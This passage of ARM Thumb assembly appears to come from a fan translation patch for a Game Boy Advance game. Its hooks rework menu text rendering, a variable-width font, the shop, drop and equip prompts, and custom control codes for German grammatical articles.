to the top tile ldr r3,[r0,#0] str r3,[r1,#8] ldr r3,[r0,#4] str r3,[r1,#0xC] // Store the top tile add r2,#0x60 // Process the bottom tile ldr r3,[r2,#8] // Load the colour and whether it's used or not - Bottom Tile str r3,[r1,#0x1C] add r0,#0x60 // Get to the bottom tile ldr r3,[r0,#0] str r3,[r1,#0x14] ldr r3,[r0,#4] str r3,[r1,#0x18] // Store the bottom tile .save_next_tile_end: pop {r1} bx lr //============================================================================================= // This hack is called in order to change how everything is printed in VRAM. Based on 0x8048CE4 //============================================================================================= define max_tiles $28 .print_vram: push {r4-r7,lr} mov r7,r10 // Base code mov r6,r9 mov r5,r8 push {r5-r7} add sp,#-0x44 mov r4,r0 mov r0,#{max_tiles} // max_tiles = buffer max str r0,[sp,#0x10] str r1,[sp,#0x34] // Save type of arrangements loading to r1 cmp r1,#0 beq + mov r0,#0x74 // Change this value if the sp add changes from -0x44 (or the pushes change)!!! mov r1,sp // This is where the data we want is now add r0,r1,r0 ldr r1,[r0,#0] str r1,[sp,#0x38] ldr r1,[r0,#4] str r1,[sp,#0x3C] ldr r1,[r0,#8] str r1,[sp,#0x40] + ldr r1,=#0x25F4 add r0,r4,r1 str r0,[sp,#0x24] // Cache a bunch of values to the stack ldr r6,[r0,#0] ldr r0,=#0x201A288 ldrb r0,[r0,#0] str r0,[sp,#0x20] // Which menu this is ldr r0,=#{main_font_width} str r0,[sp,#0x30] // main_font_width mov r2,#0xAA lsl r2,r2,#3 add r2,r2,r4 mov r9,r2 ldr r0,=#0x2013040 str r0,[sp,#0x28] // Start of the printing data add r0,#0x20 str r0,[sp,#0x2C] // Replacement data bl .load_remaining_strings // Load the remaining number of strings str r1,[sp,#0xC] mov r2,sp mov r0,#1 strh r0,[r2,#0] cmp r1,#0 bne + b .print_vram_end + add r1,sp,#4 mov r10,r1 add r2,sp,#8 mov r8,r2 mov r3,#0xC3 lsl r3,r3,#3 add r7,r4,r3 .print_vram_start_of_str_loop: bl .find_str // Search for the next string cmp r0,#0 bne + b .print_vram_end + sub r0,#1 str r0,[sp,#0x1C] // Save whether to restore the old tiles or not cmp r0,#0 bne .print_vram_get_old_coords // COORD STUFF mov r0,r4 mov r1,r6 ldr r2,[sp,#0x20] cmp r2,#6 // Skip if memo menu beq + ldr r1,[sp,#0x2C] // Load the address this was saved to ldr r1,[r1,#0] + add r2,sp,#4 bl $8049280 // Get the string's coords b .print_vram_got_coords .print_vram_get_old_coords: ldr r1,[sp,#0x24] add r1,#8 ldrh r0,[r1,#0] //Load and save old X mov r3,r10 strh r0,[r3,#0] lsr r2,r0,#3 lsl r2,r2,#3 cmp r2,r0 // If it starts at 0 pixels in a new tile, then it doesn't need to restore the old tiles bne + mov r0,#0 str r0,[sp,#0x1C] // Don't restore the old tiles + ldrh r0,[r1,#2] // Load and save old Y strh r0,[r3,#2] .print_vram_got_coords: add r5,sp,#4 mov r2,#0 ldsh r2,[r5,r2] lsr r1,r2,#3 lsl r1,r1,#3 str r1,[sp,#8] mov r3,#2 ldsh r3,[r5,r3] mov r1,r9 ldr r0,[sp,#0x10] bl .alloc_tiles_buffers // Allocate the buffers for the string ldr r1,[sp,#0x10] str r0,[sp,#0x10] // New amount of free buffers sub r0,r1,r0 str r0,[sp,#0x14] // Amount of buffers used by the string mov r0,#0 str r0,[sp,#0x18] // Currently fully used buffers str r0,[sp,#0x1C] // Do not restore the old tiles - mov r0,#1 neg r0,r0 ldr r1,[r6,#0] cmp r0,r1 beq .print_vram_eos ldr r1,[sp,#0x14] ldr r0,[sp,#0x18] sub r1,r1,r0 // Get the currently not fully used buffers ldrh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord ldr r0,[r6,#0] // Get the current letter bl .check_if_overflow cmp r0,#0 bne .print_vram_out_of_loop mov r1,r9 ldr r0,[sp,#0x18] mov r2,#0xCC mul r0,r2 add r1,r1,r0 // Get the current buffer ldrh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord ldr r0,[r6,#0] // Load the letter bl .print_letter // Returns in r0 the current letter's width ldrh r2,[r5,#0] add r2,r2,r0 strh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord cmp r2,#0x18 blt + .print_vram_handle_long_char: ldr r0,[sp,#8] add r0,#0x18 str r0,[sp,#8] ldr r0,[sp,#0x18] add r0,#1 // Increase the number of fully used buffers str r0,[sp,#0x18] sub r2,#0x18 cmp r2,#0x18 bge .print_vram_handle_long_char + .print_vram_end_of_str_loop: add r6,#4 b - .print_vram_eos: bl .exit_str add r6,#4 mov r1,r9 ldr r0,[sp,#0x14] mov r2,#0xCC mul r0,r2 add r1,r1,r0 // Get the next buffer mov r9,r1 bl .decrement_remaining_strings ldr r0,[sp,#0x10] cmp r0,#0 // Have we printed all that we could? beq .print_vram_out_of_loop cmp r1,#0 // Have we printed all the strings? bgt .print_vram_start_of_str_loop .print_vram_out_of_loop: ldr r0,[sp,#0x24] // clobbered code str r6,[r0,#0] mov r1,r10 ldrh r2,[r1,#0] // Save current coords strh r2,[r0,#8] ldrh r2,[r1,#2] strh r2,[r0,#0xA] .print_vram_end: ldr r0,=#0x76D7 add r2,r4,r0 ldr r0,[sp,#0x10] mov r1,#{max_tiles} // Get how many buffers were used sub r1,r1,r0 strb r1,[r2,#0] // Save the number so the game can use them bl .save_next_tile bl .convert_1bpp_4bpp add sp,#0x44 pop {r3-r5} mov r8,r3 mov r9,r4 mov r10,r5 pop {r4-r7,pc} //============================================================================================= // This hack fixes the string used when you try to sell an item at a shop. //============================================================================================= .sell_text: push {r4-r6,lr} mov r6,r8 mov r0,r7 push {r0,r6} add sp,#-0x8 mov r7,#0x26 // starting x position // Add the sell string to the shitpile // First get its address mov r0,#0x7D // using entry #0x7D in menus1 bl $80486A0 // gets the address of the sell string /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // Set the variables/coords and add it to the shitpile mov r5,#0x1 neg r5,r5 mov r2,#0xF str r2,[sp,#0] mov r6,#1 str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,r5 bl $8047CDC // Add the item string to the shitpile mov r0,r8 // pos += width of last string add r7,r7,r0 ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C push {r0} bl get_string_width mov r8,r0 pop {r0} mov r4,r0 mov r1,#0xF str r1,[sp,#0x0] str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,#0x16 bl $8047CDC mov r0,r8 add r1,r7,r0 // Add the question mark to the shitpile ldr r0,=#.question_mark // address of a question mark mov r2,#0x87 mov r3,#1 bl $8047CDC // Add yes/no to the shitpile mov r0,#0x3 bl $80486A0 mov r1,#0xF str r1,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r5 bl $8047CDC mov r0,#0x4 bl $80486A0 mov r2,#0xF str r2,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r5 bl $8047CDC add sp,#0x8 pop {r3,r4} mov r7,r4 mov r8,r3 pop {r4-r6,pc} .question_mark: dw $001F //============================================================================================= // This hack fixes the string used when you try to buy an item at a shop. //============================================================================================= .buy_text: push {r4-r6,lr} mov r6,r8 mov r0,r7 push {r0,r6} add sp,#-0x8 mov r7,#0x26 // starting x position // Add the buy string to the shitpile // First get its address mov r0,#0x7C // using entry #0x7C in menus1 bl $80486A0 // gets the address of the buy string /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // Set the variables/coords and add it to the shitpile mov r5,#0x1 neg r5,r5 mov r2,#0xF str r2,[sp,#0] mov r6,#1 str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,r5 bl $8047CDC // Add the item string to the shitpile mov r0,r8 // pos += width of last string add r7,r7,r0 ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C push {r0} bl get_string_width mov r8,r0 pop {r0} mov r4,r0 mov r1,#0xF str r1,[sp,#0x0] str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,#0x16 bl $8047CDC mov r0,r8 add r1,r7,r0 // Add the question mark to the shitpile ldr r0,=#.question_mark // address of a question mark mov r2,#0x87 mov r3,#1 bl $8047CDC // Add yes/no to the shitpile mov r0,#0x3 bl $80486A0 mov r1,#0xF str r1,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r5 bl $8047CDC mov r0,#0x4 bl $80486A0 mov r2,#0xF str r2,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r5 bl $8047CDC add sp,#0x8 pop {r3,r4} mov r7,r4 mov r8,r3 pop {r4-r6,pc} //============================================================================================= // This hack fixes the first frame that appears when you try to use an item. //============================================================================================= //.setup_block_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Don't print menu for the next frame //mov r1,#1 //strb r1,[r0,#0] //mov r1,r9 //ldrb r0,[r1,#0] //pop {pc} //.prevent_printing_maybe: //push {lr} //ldr r1,=#0x2003F08 //Don't print menu for the next frame //ldrb r2,[r1,#0] //cmp r2,#1 //bne + //mov r2,#0 //strb r2,[r1,#0] //mov r5,#1 //b .end_prevent_printing_maybe //+ //mov r5,#0 //.end_prevent_printing_maybe: //pop {r1} //str r4,[sp,#0] //str r5,[sp,#4] //bx r1 //.block_normal_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#1 //bne + //mov r1,#2 //strb r1,[r0,#0] //pop {r1} //ldr r1,=#0x8045E6D //If not, then branch away, we'll have .use_frame1 print instead //bx r1 //+ //mov r0,#0x3E //bl $80486A0 //pop {pc} //.print_normal_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#2 //bne + //mov r1,#1 //strb r1,[r0,#0] //push {r0-r7} //push {r5-r6} //add sp,#-0x8 //mov r0,#0x41 // Goods //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x1 //str r4,[sp,#0x4] //mov r1,#0xBF //mov r2,#0x07 //mov r3,r7 //bl $8047CDC //add sp,#0x8 //pop {r5-r6} //pop {r0-r7} //+ //mov r0,#0x3E //bl $80486A0 //pop {pc} //.block_frame1_goods: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#1 //bne + //mov r1,#2 //strb r1,[r0,#0] //pop {r1} //ldr r1,=#0x804045F //bx r1 //+ //mov r0,#0x41 //bl $80486A0 //pop {pc} //.use_frame1: //push {lr} //mov r0,r2 //bl $8055594 // Call that sets the OAM entries for the text // Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those //push {r0-r7} //push {r5-r6} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r7,[r0,#0] //cmp r7,#1 //bne .end_use_frame1 //add sp,#-0x8 //mov r0,#0x41 // Goods //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x1 //str r4,[sp,#0x4] //mov r1,#0xBF //mov r2,#0x07 //mov r3,r7 //bl $8047CDC //mov r0,#0x3C // Menu //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x0 //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x30 //mov r3,r7 //bl $8047CDC //mov r0,#0x3E // Use //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x3C //mov r3,r7 //bl $8047CDC //mov r0,#0x3F // Give //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x48 //mov r3,r7 //bl $8047CDC //mov r0,#0x40 // Drop //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x54 //mov r3,r7 //bl $8047CDC //ldr r0,=#0x2003F08 //If we printed this once, then it's not needed anymore //mov r1,#0x0 //strb r1,[r0,#0] //add sp,#0x8 //.end_use_frame1: //pop {r5-r6} //pop {r0-r7} //pop {pc} //============================================================================================= // This hack fixes the string used when you try to drop an item. //============================================================================================= .drop_text: // ---------------------------------------------- // Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those push {r4-r7,lr} mov r6,r8 push {r6} add sp,#-0x8 mov r0,#0x3C // Menu bl $80486A0 mov r7,#0x1 neg r7,r7 mov r6,#0xF str r6,[sp,#0] mov r4,#0x0 str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x30 mov r3,r7 bl $8047CDC mov r0,#0x3E // Use bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x3C mov r3,r7 bl $8047CDC mov r0,#0x3F // Give bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x48 mov r3,r7 bl $8047CDC mov r0,#0x40 // Drop bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x54 mov r3,r7 bl $8047CDC // ---------------------------------------------- // Get some value ldr r0,=#0x2015D98 ldrb r0,[r0,#0] // Only load the text if the throw submenu is open (this value << 0x1D < 0) lsl r0,r0,#0x1D cmp r0,#0x0 blt .drop_text_end // ---------------------------------------------- // Load the "-- Throw away?" text address mov r0,#0x81 bl $80486A0 /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // ---------------------------------------------- // Add the Throw Away text to the shitpile mov r5,#1 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x26 mov r8,r1 // store the current X loc to r9 mov r2,#0x87 mov r3,r7 mov r4,r0 // back up the address bl $8047CDC // ---------------------------------------------- // Get the width of the Throw Away string mov r0,r4 bl get_string_width add r8,r0 // xloc += width_of_throwaway // ---------------------------------------------- // Get the item ID ldr r4,=#0x201A1FD ldrb r0,[r4,#0] // ---------------------------------------------- // Do something mysterious mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Gets the item address ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C mov r4,r0 // r0/r4 = address, r3 = max length // ---------------------------------------------- // Add the item name to the shitpile str r6,[sp,#0] str r5,[sp,#0x4] mov r1,r8 mov r2,#0x87 mov r3,#0x16 // max length for normal items bl $8047CDC // ---------------------------------------------- // Get the width of the item name mov r0,r4 bl get_string_width add r8,r0 // xloc += width_of_itemname // ---------------------------------------------- // Add the question mark to the shitpile str r6,[sp,#0] str r5,[sp,#0x4] ldr r0,=#.question_mark mov r1,r8 mov r2,#0x87 mov r3,#1 bl $8047CDC // ---------------------------------------------- // Add Yes and No to the shitpile mov r0,#0x3 bl $80486A0 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r7 bl $8047CDC mov r0,#0x4 bl $80486A0 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r7 bl $8047CDC // ---------------------------------------------- .drop_text_end: add sp,#0x8 pop {r3} mov r8,r3 pop {r4-r7} pop {r0} bx r0 //============================================================================================= // This hack fixes the string used when you are asked to equip a bought item. //============================================================================================= .equip_text: push {r4-r6,lr} mov r6,r8 push {r6} add sp,#-0x8 // ---------------------------------------------- // Check the menu status value again ldr r0,=#0x2015D98 ldrb r0,[r0,#0] lsl r0,r0,#0x1D cmp r0,#0x0 bge + // ---------------------------------------------- // If it's negative again, use a different string mov r0,#0xB9 // [person] equipped the [item]! bl $80486A0 mov r4,r0 mov r1,#0x1C mov r2,#0x87 bl $8047F28 b .equip_text_end + // ---------------------------------------------- // Load the "-- Equip now?" text address mov r0,#0x80 bl $80486A0 /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // ---------------------------------------------- // Add it to the shitpile mov r5,#0xF str r5,[sp,#0] mov r6,#0x1 str r6,[sp,#0x4] mov r1,#0x26 mov r8,r1 mov r2,#0x87 mov r3,#1 neg r3,r3 mov r4,r0 bl $8047CDC // ---------------------------------------------- // Get the width of the equip text mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Do the mystery item function ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Get the item address ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C mov r4,r0 // ---------------------------------------------- // Add the item name to the shitpile str r5,[sp,#0] str r6,[sp,#0x4] mov r0,r4 mov r1,r8 mov r2,#0x87 mov r3,#0x16 bl $8047CDC // ---------------------------------------------- // Get the width of the item name mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Add " now?" to the shitpile str r5,[sp,#0] str r6,[sp,#0x4] ldr r0,=#.equip_now_text mov r1,r8 mov r2,#0x87 //mov r3,#5 mov r3,#1 bl $8047CDC // ---------------------------------------------- // Add Yes and No to the shitpile mov r4,#1 neg r4,r4 mov r0,#0x3 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r4 bl $8047CDC mov r0,#0x4 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r4 bl $8047CDC // ---------------------------------------------- .equip_text_end: add sp,#0x8 pop {r3} mov r8,r3 pop {r4-r6} pop {r0} bx r0 .equip_now_text: dw $001F //dw $0040,$004E,$004F,$0057,$001F //============================================================================================= // This hack fixes the string used when you are asked to sell a currently equipped item after // buying new equipment. //============================================================================================= //print pc .sell_old_equip_text: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-0x8 // ---------------------------------------------- // Get the address of "Sell your " mov r0,#0x7F bl $80486A0 mov r4,r0 // ---------------------------------------------- // Add it to the shitpile mov r5,#0xF str r5,[sp,#0] mov r6,#0x1 str r6,[sp,#0x4] mov r1,#0x26 mov r8,r1 mov r2,#0x87 mov r3,#1 neg r3,r3 bl $8047CDC // ---------------------------------------------- // Get the width of "Sell your " mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Get the item ID, do the mystery function ldr r7,=#0x201A1FD ldrb r0,[r7,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Get the item address ldrb r1,[r7,#0] mov r0,#0x2 bl $8001C5C // ---------------------------------------------- // Add the item to the shitpile mov r4,r0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,r8 mov r2,#0x87 mov r3,#0x16 bl $8047CDC // ---------------------------------------------- // Get the item width mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Do some extra crap; don't touch ldr r2,=#0x80E5108 ldrb r1,[r7,#0] mov r0,#0x6C mul r0,r1 add r0,r0,r2 ldrh r1,[r0,#0xA] ldr r0,=#0x201A518 strh r1,[r0,#0] // ---------------------------------------------- // Get the address of "-- [DPAMT] DP" mov r0,#0x7E bl $80486A0 // ---------------------------------------------- // Add the DP text to the shitpile mov r1,r8 mov r2,#0x87 bl $8047F28 // alternate shitpiler // ---------------------------------------------- // Get the width of the parsed DP text ldr r0,=#0x203FFFC ldr r0,[r0,#0] bl get_string_width add r8,r0 // ---------------------------------------------- // Add Yes and No to the shitpile mov r0,#0x3 bl $80486A0 mov r4,#1 neg r4,r4 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r4 bl $8047CDC mov r0,#0x4 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r4 bl $8047CDC // ---------------------------------------------- add sp,#0x8 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7} pop {r0} bx r0 //============================================================================================= // This hack steps into the menu text parser and stores the parsed address to 203FFFC. //============================================================================================= .parser_stepin: ldr r0,=#0x203FFF8 str r6,[r0,#0] // Original address str r5,[r0,#4] // Parsed address lsl r4,r4,#2 add r4,r9 bx lr // This sets the parsed flag for use with 8047CDC .parser_stepin2: ldr r4,=#0x203FFF7 mov r5,#1 strb r5,[r4,#0] mov r5,r0 mov r4,r1 // clobbered code bx lr // This adds the real address to the table at 203FFA0 .parser_stepin3: push {r0,r2,r3} // r0 = counter // ---------------------------------------------- // Get the target address ready; addr = 203FFA0 + (counter * 4) ldr r1,=#0x203FFA0 lsl r0,r0,#2 add r1,r1,r0 // ---------------------------------------------- // Check the parsed flag ldr r2,=#0x203FFF7 ldrb r0,[r2,#0] mov r3,#0 strb r3,[r2,#0] cmp r0,#0 bne + // Use the address in r5 str r5,[r1,#0] b .parser_stepin3_end + // Use the original address from 203FFF8 add r2,#1 ldr r0,[r2,#0] // ---------------------------------------------- // Store it to the table str r0,[r1,#0] .parser_stepin3_end: pop {r0,r2,r3} mov r1,r0 lsl r0,r1,#2 // clobbered code bx lr //============================================================================================= // This hack applies a VWF to item text and other non-sprite text in the main menus. //============================================================================================= .item_vwf: push {r2,r6,lr} ldr r6,[r6,#0] lsl r6,r6,#0x14 lsr r0,r6,#0x14 // r0 has the letter now ldr r2,=#{main_font_width} // r2 now points to the start of 16x16 font's width table ldrb r0,[r2,r0] // load r0 with the appropriate width pop {r2,r6,pc} //============================================================================================= // This hack makes Chapter End (and other stuff?) appear nicely on the file select screens //============================================================================================= .chap_end_text: push {lr} cmp r1,#0xCA bne + sub r0,r0,#2 + lsl r0,r0,#0x10 add r3,r6,r0 asr r3,r3,#0x10 pop {pc} //============================================================================================= // This hack manually clears the tile layer with non-sprite text on it, since the game // doesn't seem to want to do it itself all the time. We're basically shoving a bunch of 0s // into the tilemap. // // // Note that this is buggy so it's not being used now. Fix it later maybe? //============================================================================================= .clear_non_sprite_text: push {lr} cmp r4,#0 bne + bl .delete_vram + mov r0,r5 // clobbered code mov r1,r6 pop {pc} //============================================================================================= // This hack implements a VWF for the battle memory non-sprite text. //============================================================================================= .battle_mem_vwf: push {r5,lr} // We're going to use r5, so we need to keep it in ldr r5,[sp,#0x08] // Load r5 with our former LR value? mov r14,r5 // Move the former LR value back into LR ldr r5,=#0x804999B // This is different from the other functions. At the old code from the branch, // there is an unconditional branch after mov r0,#8 to this address. // This is where we want to return to. str r5,[sp,#0x08] // Store it over the previous one pop {r5} // Get back r5 add sp,#0x04 // Get the un-needed value off the stack ldr r0,=#{main_font_width} // load r0 with the address of our 16x16 font width table (FIX : that was 8x8) ldrb r0,[r0,r1] pop {pc} //============================================================================================= // This hack will make the game load alternate text than the game would normally expect. // This affects: // - Short enemy names in the Battle Memory screen // - Short enemy names used in gray name boxes outside // - Fixed item descriptions in battle, with descs that would normally use status icons // - Sleep mode message, which had to be done using prewelded text //============================================================================================= .load_alternate_text: push {r5,lr} // We're going to use r5, so we need to keep it in ldr r5,[sp,#0x08] // Load r5 with our former LR value? mov lr,r5 // Move the former LR value back into LR ldr r5,[sp,#0x04] // Grab the LR value for THIS function str r5,[sp,#0x08] // Store it over the previous one pop {r5} // Get back r5 add sp,#0x04 // Get the un-needed value off the stack push {r5-r6} // need to use these registers real quick cmp r2,#0x07 // if r2 == 7, then we're dealing with enemy names beq .short_enemy_name cmp r2,#0x00 // in battle, status icons don't get displayed beq .status_icon_text // so we prepare alternate text cmp r1,#0x25 // we have to do some magic to make the sleep mode message work beq .sleepmode_text b .orig_load_code // so let's just jump to the original code for non-enemy names //--------------------------------------------------------------------------------------------- .short_enemy_name: ldr r5,=#0x80476FB // load r5 with 0x80476FB, which we'll use to compare the calling address from ldr r6,[sp,#0x1C] // load in the calling address cmp r5,r6 // if equal, this is for the battle memory menu beq + //Load r5 with the scrolling printing routine for the battle memory ldr r5,=#.new_battle_memo_scroll_print_after_function+1 cmp r5,r6 beq + // if equal, this is for the battle memory menu ldr r5,=#0x8023B1F // load r5 with 0x8023B1F, which is used for the gray name boxes cmp r5,r6 bne .orig_load_code // if not equal, jump to the original code + ldr r0,=#0x8D23494 // load the base address of the abbreviated names list b .end_load_code //--------------------------------------------------------------------------------------------- .status_icon_text: ldr r5,=#0x8064B89 // see if this is being loaded from battle, if not, do normal code ldr r6,[sp,#0x18] cmp r5,r6 bne .orig_load_code cmp r4,#0x8B // if item # < 0x8B or item # > 0x92, use normal code and desc text blt .orig_load_code cmp r4,#0x92 bgt .orig_load_code ldr r0,=#0x9F8F004 // else use special item descriptions just for this instance cmp r1,#4 bne + ldr r0,=#0x9F8F204 + b .end_load_code //--------------------------------------------------------------------------------------------- .sleepmode_text: ldr r5,=#0x9AF3790 // just making extra sure we won't trigger this fix on accident cmp r0,r5 // see if r0 directs to the menus3 block bne .orig_load_code // if it doesn't, skip all this and do the original code ldr r5,=#0x9FB0300 // start of custom sleep mode text/data cmp r6,#0x1F // if this is the first sleep mode line, redirect pointer bne + // if this isn't the first sleep mode line, see if it's the 2nd mov r0,r5 add r0,#2 // r0 now has the address of the first line of custom SM text b .special_end_load + cmp r6,#0x20 // see if this is the 2nd line of sleep mode text bne .orig_load_code // if it isn't, we continue the original load routine as usual ldrh r0,[r5,#0] // load the offset to the 2nd line add r0,r5,r0 // r0 now has the address to the 2nd line b .special_end_load //--------------------------------------------------------------------------------------------- .orig_load_code: lsl r1,r1,#0x10 // when this whole routine ends, it will go back to 80028A4 lsr r1,r1,#0x0E add r1,r1,r0 ldr r1,[r1,#0x04] add r0,r0,r1 .end_load_code: pop {r5-r6,pc} // Pop the registers we used off the stack, and return //--------------------------------------------------------------------------------------------- .special_end_load: mov r5,lr // we need to do some return address magic if we're doing add r5,#8 // the sleep mode text fix mov lr,r5 pop {r5-r6,pc} //============================================================================================= // These three little hacks move item descriptions in RAM and allow for up to 256 letters, // though there wouldn't be enough room in the box for that of course :P //============================================================================================= .load_desc_address1: ldr r0,=#0x2014330 mov r2,r8 bx lr //--------------------------------------------------------------------------------------------- .load_desc_address2: mov r0,r4 ldr r1,=#0x2014330 bx lr //--------------------------------------------------------------------------------------------- .load_desc_clear_length: ldr r1,=#0x1F8 mov r2,r8 bx lr //============================================================================================= // These six hacks allow for longer messages in main menus. The max is somewhere around 200 // letters. //============================================================================================= .save_menu_msg_address: add r5,#2 ldr r0,=#0x2014310 str r5,[r0,#0] pop {r4-r7} pop {r0} bx lr //--------------------------------------------------------------------------------------------- .load_menu_msg_address: ldr r0,=#0x2014310 ldr r5,[r0,#0] bx lr //--------------------------------------------------------------------------------------------- .init_menu_msg_address: ldr r0,=#0x201A374 ldr r7,=#0x2014310 str r0,[r7,#0] mov r7,#0 mov r0,#1 bx lr //--------------------------------------------------------------------------------------------- .change_menu_msg_address1: push {r2,lr} ldr r0,=#0xFFFFFFFF ldr r1,=#0x2014330 ldr r2,=#0x100 bl fill_mem mov r0,r6 pop {r2,pc} //--------------------------------------------------------------------------------------------- .change_menu_msg_address2: mov r0,r5 ldr r1,=#0x2014330 bx lr //--------------------------------------------------------------------------------------------- .change_menu_msg_clear_amt: ldr r1,=#0x201A510 sub r1,r1,r5 mov r2,r8 bx lr //============================================================================================= // This hack processes our custom control codes. Since we don't need to bother with enemy // stuff here, only custom item control codes need to be handled here. // // The custom item control codes are [10 EF] through [17 EF]. // // [10 EF] - Prints the proper article if it's the first word of a sentence (ie "Ein/Eine") // [11 EF] - Prints the proper article if it's not the first word of a sentence (ie "ein/eine") // [12 EF] - Prints an uppercase definite article ("Der", etc.) // [13 EF] - Prints a lowercase definite article ("der", etc.) // [14 EF] - Prints genetive article depending on the item // [15 EF] - Prints genetive suffix depending on the item // [16 EF] - Prints it/them depending on the item CURRENTLY UNUSED // [17 EF] - Prints ist/sind depending on the item // // [20 EF] - Prints string fragments about the type of equipment the current item is // //============================================================================================= .execute_custom_cc: push {r0-r3,lr} ldrb r0,[r4,#1] // load the high byte of the current letter cmp r0,#0xEF // if it isn't 0xEF, do normal stuff and then leave beq + ldrh r0,[r4,#0] // load the correct letter again strh r0,[r5,#0] // store the letter add r4,#2 // increment the read address add r5,#2 // increment the write address b .ecc_end // leave this subroutine //--------------------------------------------------------------------------------------------- + ldrb r0,[r4,#0] // load the low byte of the current letter, this is our argument cmp r0,#0x20 // if this is EF20, go do that code elsewhere beq + mov r2,#0x10 sub r2,r0,r2 // r2 = argument - #0x10, this will make it easier to work with ldr 